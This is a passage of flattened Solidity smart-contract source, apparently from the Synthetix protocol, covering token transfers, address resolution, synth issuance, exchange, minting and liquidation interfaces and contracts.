be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value); } /** * @notice Approves spender to transfer on the message sender's behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ function addressToBytes32(address input) internal pure returns (bytes32) { return bytes32(uint256(uint160(input))); } event Transfer(address indexed from, address indexed to, uint value); bytes32 internal constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer( address from, address to, uint value ) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, addressToBytes32(from), addressToBytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 internal constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval( address owner, address spender, uint value ) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, addressToBytes32(owner), addressToBytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 internal constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } // https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getSynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } // https://docs.synthetix.io/contracts/source/interfaces/isynth interface ISynth { // Views function currencyKey() external view returns (bytes32); function transferableSynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Synthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.synthetix.io/contracts/source/interfaces/iissuer interface IIssuer { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function canBurnSynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint); function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to Synthetix function issueSynths(address from, uint amount) external; function issueSynthsOnBehalf( address issueFor, address from, uint amount ) external; function issueMaxSynths(address from) external; function issueMaxSynthsOnBehalf(address issueFor, address from) external; function burnSynths(address from, uint amount) external; function burnSynthsOnBehalf( address burnForAddress, address from, uint amount ) external; function burnSynthsToTarget(address from) external; function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external; function liquidateDelinquentAccount( address account, uint susdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getSynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.synths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); } // solhint-disable payable-fallback // https://docs.synthetix.io/contracts/source/contracts/readproxy contract ReadProxy is Owned { address public target; constructor(address _owner) public Owned(_owner) {} function setTarget(address _target) external onlyOwner { target = _target; emit TargetUpdated(target); } function() external { // The basics of a proxy read call // Note that msg.sender in the underlying will always be the address of this contract. assembly { calldatacopy(0, 0, calldatasize) // Use of staticcall - this will revert if the underlying function mutates state let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) if iszero(result) { revert(0, returndatasize) } return(0, returndatasize) } } event TargetUpdated(address newTarget); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress( name, string(abi.encodePacked("Resolver missing target: ", name)) ); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } interface IVirtualSynth { // Views function balanceOfUnderlying(address account) external view returns (uint); function rate() external view returns (uint); function readyToSettle() external view returns (bool); function secsLeftInWaitingPeriod() external view returns (uint); function settled() external view returns (bool); function synth() external view returns (ISynth); // Mutative functions function settle(address account) external; } // https://docs.synthetix.io/contracts/source/interfaces/isynthetix interface ISynthetix { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint); function isWaitingPeriod(bytes32 currencyKey) external view returns (bool); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey) external view returns (uint); function totalIssuedSynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint); function transferableSynthetix(address account) external view returns (uint transferable); // Mutative Functions function burnSynths(uint amount) external; function burnSynthsOnBehalf(address burnForAddress, uint amount) external; function burnSynthsToTarget() external; function burnSynthsToTargetOnBehalf(address burnForAddress) external; function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function issueMaxSynths() external; function issueMaxSynthsOnBehalf(address issueForAddress) external; function issueSynths(uint amount) external; function issueSynthsOnBehalf(address issueForAddress, uint amount) external; function mint() external returns (bool); function settle(bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); // Liquidations function liquidateDelinquentAccount(address account, uint susdAmount) external returns (bool); // Restricted Functions function mintSecondary(address account, uint amount) external; function mintSecondaryRewards(uint amount) external; function burnSecondary(address account, uint amount) external; } // https://docs.synthetix.io/contracts/source/interfaces/isynthetixstate interface ISynthetixState { // Views function debtLedger(uint index) external view returns (uint); function issuanceData(address account) external view returns (uint initialDebtOwnership, uint debtEntryIndex); function debtLedgerLength() external view returns (uint); function hasIssued(address account) external view returns (bool); function lastDebtLedgerEntry() external view returns (uint); // Mutative functions function incrementTotalIssuerCount() external; function decrementTotalIssuerCount() external; function setCurrentIssuanceData(address account, uint initialDebtOwnership) external; function appendDebtLedgerValue(uint value) external; function clearIssuanceData(address account) external; } // https://docs.synthetix.io/contracts/source/interfaces/isystemstatus interface ISystemStatus { struct Status { bool canSuspend; bool canResume; } struct Suspension { bool suspended; // reason is an integer code, // 0 => no reason, 1 => upgrading, 2+ => defined by system usage uint248 reason; } // Views function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume); function requireSystemActive() external view; function requireIssuanceActive() external view; function requireExchangeActive() external view; function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function requireSynthActive(bytes32 currencyKey) external view; function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function systemSuspension() external view returns (bool suspended, uint248 reason); function issuanceSuspension() external view returns (bool suspended, uint248 reason); function exchangeSuspension() external view returns (bool suspended, uint248 reason); function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function getSynthExchangeSuspensions(bytes32[] calldata synths) external view returns (bool[] memory exchangeSuspensions, uint256[] memory reasons); function getSynthSuspensions(bytes32[] calldata synths) external view returns (bool[] memory suspensions, uint256[] memory reasons); // Restricted functions function suspendSynth(bytes32 currencyKey, uint256 reason) external; function updateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) external; } // https://docs.synthetix.io/contracts/source/interfaces/iexchanger interface IExchanger { // Views function calculateAmountAfterSettlement( address from, bytes32 currencyKey, uint amount, uint refunded ) external view returns (uint amountAfterSettlement); function isSynthRateInvalid(bytes32 currencyKey) external view returns (bool); function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint); function settlementOwing(address account, bytes32 currencyKey) external view returns ( uint reclaimAmount, uint rebateAmount, uint numEntries ); function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool); function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint exchangeFeeRate); function getAmountsForExchange( uint sourceAmount, bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey ) external view returns ( uint amountReceived, uint fee, uint exchangeFeeRate ); function priceDeviationThresholdFactor() external view returns (uint); function waitingPeriodSecs() external view returns (uint); // Mutative functions function exchange( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function settle(address from, bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function setLastExchangeRateForSynth(bytes32 currencyKey, uint rate) external; function suspendSynthWithInvalidRate(bytes32 currencyKey) external; } // https://docs.synthetix.io/contracts/source/interfaces/irewardsdistribution interface IRewardsDistribution { // Structs struct DistributionData { address destination; uint amount; } // Views function authority() external view returns (address); function distributions(uint index) external view returns (address destination, uint amount); // DistributionData function distributionsLength() external view returns (uint); // Mutative Functions function distributeRewards(uint amount) external returns (bool); } // Inheritance // Internal references contract BaseSynthetix is IERC20, ExternStateToken, MixinResolver, ISynthetix { // ========== STATE VARIABLES ========== // Available Synths which can be used with the system string public constant TOKEN_NAME = "Synthetix Network Token"; string public constant TOKEN_SYMBOL = "SNX"; uint8 public constant DECIMALS = 18; bytes32 public constant sUSD = "sUSD"; // ========== ADDRESS RESOLVER CONFIGURATION ========== bytes32 private constant CONTRACT_SYNTHETIXSTATE = "SynthetixState"; bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus"; bytes32 private constant CONTRACT_EXCHANGER = "Exchanger"; bytes32 private constant CONTRACT_ISSUER = "Issuer"; bytes32 private constant CONTRACT_REWARDSDISTRIBUTION = "RewardsDistribution"; // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver ) public ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) MixinResolver(_resolver) {} // ========== VIEWS ========== // Note: use public visibility so that it can be invoked in a subclass function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { addresses = new bytes32[](5); addresses[0] = CONTRACT_SYNTHETIXSTATE; addresses[1] = CONTRACT_SYSTEMSTATUS; addresses[2] = CONTRACT_EXCHANGER; addresses[3] = CONTRACT_ISSUER; addresses[4] = CONTRACT_REWARDSDISTRIBUTION; } function synthetixState() internal view returns (ISynthetixState) { return ISynthetixState(requireAndGetAddress(CONTRACT_SYNTHETIXSTATE)); } function systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function exchanger() internal view returns (IExchanger) { return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER)); } function issuer() internal view returns (IIssuer) { return IIssuer(requireAndGetAddress(CONTRACT_ISSUER)); } function rewardsDistribution() internal view returns (IRewardsDistribution) { return IRewardsDistribution(requireAndGetAddress(CONTRACT_REWARDSDISTRIBUTION)); } function debtBalanceOf(address account, bytes32 currencyKey) external view returns (uint) { return issuer().debtBalanceOf(account, currencyKey); } function totalIssuedSynths(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedSynths(currencyKey, false); } function totalIssuedSynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedSynths(currencyKey, true); } function availableCurrencyKeys() external view returns (bytes32[] memory) { return issuer().availableCurrencyKeys(); } function availableSynthCount() external view returns (uint) { return issuer().availableSynthCount(); } function availableSynths(uint index) external view returns (ISynth) { return issuer().availableSynths(index); } function synths(bytes32 currencyKey) external view returns (ISynth) { return issuer().synths(currencyKey); } function synthsByAddress(address synthAddress) external view returns (bytes32) { return issuer().synthsByAddress(synthAddress); } function isWaitingPeriod(bytes32 currencyKey) external view returns (bool) { return exchanger().maxSecsLeftInWaitingPeriod(messageSender, currencyKey) > 0; } function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid) { return issuer().anySynthOrSNXRateIsInvalid(); } function maxIssuableSynths(address account) external view returns (uint maxIssuable) { return issuer().maxIssuableSynths(account); } function remainingIssuableSynths(address account) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ) { return issuer().remainingIssuableSynths(account); } function collateralisationRatio(address _issuer) external view returns (uint) { return issuer().collateralisationRatio(_issuer); } function collateral(address account) external view returns (uint) { return issuer().collateral(account); } function transferableSynthetix(address account) external view returns (uint transferable) { (transferable, ) = issuer().transferableSynthetixAndAnyRateIsInvalid(account, tokenState.balanceOf(account)); } function _canTransfer(address account, uint value) internal view returns (bool) { (uint initialDebtOwnership, ) = synthetixState().issuanceData(account); if (initialDebtOwnership > 0) { (uint transferable, bool anyRateIsInvalid) = issuer().transferableSynthetixAndAnyRateIsInvalid( account, tokenState.balanceOf(account) ); require(value <= transferable, "Cannot transfer staked or escrowed SNX"); require(!anyRateIsInvalid, "A synth or SNX rate is invalid"); } return true; } // ========== MUTATIVE FUNCTIONS ========== function transfer(address to, uint value) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(messageSender, value); // Perform the transfer: if there is a problem an exception will be thrown in this call. _transferByProxy(messageSender, to, value); return true; } function transferFrom( address from, address to, uint value ) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(from, value); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. return _transferFromByProxy(messageSender, from, to, value); } function issueSynths(uint amount) external issuanceActive optionalProxy { return issuer().issueSynths(messageSender, amount); } function issueSynthsOnBehalf(address issueForAddress, uint amount) external issuanceActive optionalProxy { return issuer().issueSynthsOnBehalf(issueForAddress, messageSender, amount); } function issueMaxSynths() external issuanceActive optionalProxy { return issuer().issueMaxSynths(messageSender); } function issueMaxSynthsOnBehalf(address issueForAddress) external issuanceActive optionalProxy { return issuer().issueMaxSynthsOnBehalf(issueForAddress, messageSender); } function burnSynths(uint amount) external issuanceActive optionalProxy { return issuer().burnSynths(messageSender, amount); } function burnSynthsOnBehalf(address burnForAddress, uint amount) external issuanceActive optionalProxy { return issuer().burnSynthsOnBehalf(burnForAddress, messageSender, amount); } function burnSynthsToTarget() external issuanceActive optionalProxy { return issuer().burnSynthsToTarget(messageSender); } function burnSynthsToTargetOnBehalf(address burnForAddress) external issuanceActive optionalProxy { return issuer().burnSynthsToTargetOnBehalf(burnForAddress, messageSender); } function exchange( bytes32, uint, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeOnBehalf( address, bytes32, uint, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeWithTracking( bytes32, uint, bytes32, address, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeOnBehalfWithTracking( address, bytes32, uint, bytes32, address, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeWithVirtual( bytes32, uint, bytes32, bytes32 ) external returns (uint, IVirtualSynth) { _notImplemented(); } function settle(bytes32) external returns ( uint, uint, uint ) { _notImplemented(); } function mint() external returns (bool) { _notImplemented(); } function liquidateDelinquentAccount(address, uint) external returns (bool) { _notImplemented(); } function mintSecondary(address, uint) external { _notImplemented(); } function mintSecondaryRewards(uint) external { _notImplemented(); } function burnSecondary(address, uint) external { _notImplemented(); } function _notImplemented() internal pure { revert("Cannot be run on this layer"); } // ========== MODIFIERS ========== modifier systemActive() { _systemActive(); _; } function _systemActive() private { systemStatus().requireSystemActive(); } modifier issuanceActive() { _issuanceActive(); _; } function _issuanceActive() private { systemStatus().requireIssuanceActive(); } } // https://docs.synthetix.io/contracts/source/interfaces/irewardescrow interface IRewardEscrow { // Views function balanceOf(address account) external view returns (uint); function numVestingEntries(address account) external view returns (uint); function totalEscrowedAccountBalance(address account) external view returns (uint); function totalVestedAccountBalance(address account) external view returns (uint); function getVestingScheduleEntry(address account, uint index) external view returns (uint[2] memory); function getNextVestingIndex(address account) external view returns (uint); // Mutative functions function appendVestingEntry(address account, uint quantity) external; function vest() external; } pragma experimental ABIEncoderV2; library VestingEntries { struct VestingEntry { uint64 endTime; uint256 escrowAmount; } struct VestingEntryWithID { uint64 endTime; uint256 escrowAmount; uint256 entryID; } } interface IRewardEscrowV2 { // Views function balanceOf(address account) external view returns (uint); function numVestingEntries(address account) external view returns (uint); function totalEscrowedAccountBalance(address account) external view returns (uint); function totalVestedAccountBalance(address account) external view returns (uint); function getVestingQuantity(address account, uint256[] calldata entryIDs) external view returns (uint); function getVestingSchedules( address account, uint256 index, uint256 pageSize ) external view returns (VestingEntries.VestingEntryWithID[] memory); function getAccountVestingEntryIDs( address account, uint256 index, uint256 pageSize ) external view returns (uint256[] memory); function getVestingEntryClaimable(address account, uint256 entryID) external view returns (uint); function getVestingEntry(address account, uint256 entryID) external view returns (uint64, uint256); // Mutative functions function vest(uint256[] calldata entryIDs) external; function createEscrowEntry( address beneficiary, uint256 deposit, uint256 duration ) external; function appendVestingEntry( address account, uint256 quantity, uint256 duration ) external; function migrateVestingSchedule(address _addressToMigrate) external; function migrateAccountEscrowBalances( address[] calldata accounts, uint256[] calldata escrowBalances, uint256[] calldata vestedBalances ) external; // Account Merging function startMergingWindow() external; function mergeAccount(address accountToMerge, uint256[] calldata entryIDs) external; function nominateAccountToMerge(address account) external; function accountMergingIsOpen() external view returns (bool); // L2 Migration function importVestingEntries( address account, uint256 escrowedAmount, VestingEntries.VestingEntry[] calldata vestingEntries ) external; // Return amount of SNX transfered to SynthetixBridgeToOptimism deposit contract function burnForMigration(address account, uint256[] calldata entryIDs) external returns (uint256 escrowedAccountBalance, VestingEntries.VestingEntry[] memory vestingEntries); } // https://docs.synthetix.io/contracts/source/interfaces/isupplyschedule interface ISupplySchedule { // Views function mintableSupply() external view returns (uint); function isMintable() external view returns (bool); function minterReward() external view returns (uint); // Mutative functions function recordMintEvent(uint supplyMinted) external returns (bool); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/synthetix contract Synthetix is BaseSynthetix { // ========== ADDRESS RESOLVER CONFIGURATION ========== bytes32 private constant CONTRACT_REWARD_ESCROW = "RewardEscrow"; bytes32 private constant CONTRACT_REWARDESCROW_V2 = "RewardEscrowV2"; bytes32 private constant CONTRACT_SUPPLYSCHEDULE = "SupplySchedule"; // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver ) public BaseSynthetix(_proxy, _tokenState, _owner, _totalSupply, _resolver) {} function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { bytes32[] memory existingAddresses = BaseSynthetix.resolverAddressesRequired(); bytes32[] memory newAddresses = new bytes32[](3); newAddresses[0] = CONTRACT_REWARD_ESCROW; newAddresses[1] = CONTRACT_REWARDESCROW_V2; newAddresses[2] = CONTRACT_SUPPLYSCHEDULE; return combineArrays(existingAddresses, newAddresses); } // ========== VIEWS ========== function rewardEscrow() internal view returns (IRewardEscrow) { return IRewardEscrow(requireAndGetAddress(CONTRACT_REWARD_ESCROW)); } function rewardEscrowV2() internal view returns (IRewardEscrowV2) { return IRewardEscrowV2(requireAndGetAddress(CONTRACT_REWARDESCROW_V2)); } function supplySchedule() internal view returns (ISupplySchedule) { return ISupplySchedule(requireAndGetAddress(CONTRACT_SUPPLYSCHEDULE)); } // ========== OVERRIDDEN FUNCTIONS ========== function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchange(messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender); } function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchangeOnBehalf( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey ); } function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchangeWithTracking( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, originator, trackingCode ); } function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchangeOnBehalfWithTracking( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, originator, trackingCode ); } function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived, IVirtualSynth vSynth) { return exchanger().exchangeWithVirtual( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, trackingCode ); } function settle(bytes32 currencyKey) external optionalProxy returns ( uint reclaimed, uint refunded, uint numEntriesSettled ) { return exchanger().settle(messageSender, currencyKey); } function mint() external issuanceActive returns (bool) { require(address(rewardsDistribution()) != address(0), "RewardsDistribution not set"); ISupplySchedule _supplySchedule = supplySchedule(); IRewardsDistribution _rewardsDistribution = rewardsDistribution(); uint supplyToMint = _supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); // record minting event before mutation to token supply _supplySchedule.recordMintEvent(supplyToMint); // Set minted SNX balance to RewardEscrow's balance // Minus the minterReward and set balance of minter to add reward uint minterReward = _supplySchedule.minterReward(); // Get the remainder uint amountToDistribute = supplyToMint.sub(minterReward); // Set the token balance to the RewardsDistribution contract tokenState.setBalanceOf( address(_rewardsDistribution), tokenState.balanceOf(address(_rewardsDistribution)).add(amountToDistribute) ); emitTransfer(address(this), address(_rewardsDistribution), amountToDistribute); // Kick off the distribution of rewards _rewardsDistribution.distributeRewards(amountToDistribute); // Assign the minters reward. tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(address(this), msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); return true; } function liquidateDelinquentAccount(address account, uint susdAmount) external systemActive optionalProxy returns (bool) { (uint totalRedeemed, uint amountLiquidated) = issuer().liquidateDelinquentAccount( account, susdAmount, messageSender ); emitAccountLiquidated(account, totalRedeemed, amountLiquidated, messageSender); // Transfer SNX redeemed to messageSender // Reverts if amount to redeem is more than balanceOf account, ie due to escrowed balance return _transferByProxy(account, messageSender, totalRedeemed); } /* Once off function for SIP-60 to migrate SNX balances in the RewardEscrow contract * To the new RewardEscrowV2 contract */ function migrateEscrowBalanceToRewardEscrowV2() external onlyOwner { // Record balanceOf(RewardEscrow) contract uint rewardEscrowBalance = tokenState.balanceOf(address(rewardEscrow())); // transfer all of RewardEscrow's balance to RewardEscrowV2 // _internalTransfer emits the transfer event _internalTransfer(address(rewardEscrow()), address(rewardEscrowV2()), rewardEscrowBalance); } // ========== EVENTS ========== event SynthExchange( address indexed account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ); bytes32 internal constant SYNTHEXCHANGE_SIG = keccak256( "SynthExchange(address,bytes32,uint256,bytes32,uint256,address)" ); function emitSynthExchange( address account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ) external onlyExchanger { proxy._emit( abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, addressToBytes32(account), 0, 0 ); } event ExchangeTracking(bytes32 indexed trackingCode, bytes32 toCurrencyKey, uint256 toAmount); bytes32 internal constant EXCHANGE_TRACKING_SIG = keccak256("ExchangeTracking(bytes32,bytes32,uint256)"); function emitExchangeTracking( bytes32 trackingCode, bytes32 toCurrencyKey, uint256 toAmount ) external onlyExchanger { proxy._emit(abi.encode(toCurrencyKey, toAmount), 2, EXCHANGE_TRACKING_SIG, trackingCode, 0, 0); } event ExchangeReclaim(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGERECLAIM_SIG = keccak256("ExchangeReclaim(address,bytes32,uint256)"); function emitExchangeReclaim( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGERECLAIM_SIG, addressToBytes32(account), 0, 0); } event ExchangeRebate(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGEREBATE_SIG = keccak256("ExchangeRebate(address,bytes32,uint256)"); function emitExchangeRebate( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { 